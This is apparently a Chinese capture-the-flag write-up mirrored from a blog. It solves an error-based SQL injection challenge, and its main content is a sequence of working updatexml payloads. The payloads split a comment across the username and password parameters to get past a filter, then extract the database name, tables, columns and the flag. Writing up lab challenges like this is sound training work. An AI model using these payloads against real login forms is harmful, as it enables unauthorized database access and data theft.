zoukankan      html  css  js  c++  java
  • 加了料的报错注入

    先查看源码找找突破口

    发现了一个很关键的sql语句

    $sql="select * from users where username='$username' and password='$password'"

    再试试对导航栏进行注入

    ?username=1’ 没有如何反应

    。。。。。有点尬。。。。试试bp抓下

    打开页面,打开bp,打开代理,刷新一下

    抓到了这么个东西

    观察到

    我们在导航栏输入的内容似乎并没有传进去

    使用bp修改,但是我抓到的是GET数据,此题明显是POST型,就很无语。。。。找了半天没找到解决方法,就换其他的方法吧

    。。。。。。。

    这里我使用firefox的Max hackbar插件,(普通的hackbar收费了,搞了好久又没有弄出来,索性去下了给免费的。。。。)

    有了工具还怕破不了题?

    怎么可能!

    username=1&password=1

    username='or '1&password='or '1

    发现不是注册用户

    username='or '1&password='or '1#

    发现报错,所以这里的#应该不能用,会被报错

    username=1'&password=1报错

    上网搜了下,这里要使用到updatexml函数,用法为and updatexml+注释语句

    使用bp监测一些过滤,发现password后的内容会被过滤掉,所以这里使用/**/把password注释掉

    形成注入语句username=1' and updatexml/*

    &password=*/+注入语句

    这里直接

    username=1' and updatexml/*&password=*/(1,concat(0x7c,(select database()),0x7c),1) or '1

    查出数据库名

    再username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7c),1) or '1

     

    查表名称

    username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7c),1) or '1

    查列名

    查列下的数据

    username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT value from ffll44jj),0x7c),1) or '1

     

  • 相关阅读:
    C#中的接口和类的不同点
    值类型和引用类型的区别?
    时隔两年再次操刀NPOI合并单元格
    二.Docker下安装和运行Mysql
    一.CentOS8下的Docker安装
    .NetCore3.1使用Autofac
    .NET Core 3.1使用Swagger
    数组排序和数组对象排序
    C# 操作Excel , 支持超链接 跳转Sheet 页面,HSSFHyperlink函数
    MVC导入Excel通过NPOI
  • 原文地址:https://www.cnblogs.com/wosun/p/11215710.html
Copyright © 2011-2022 走看看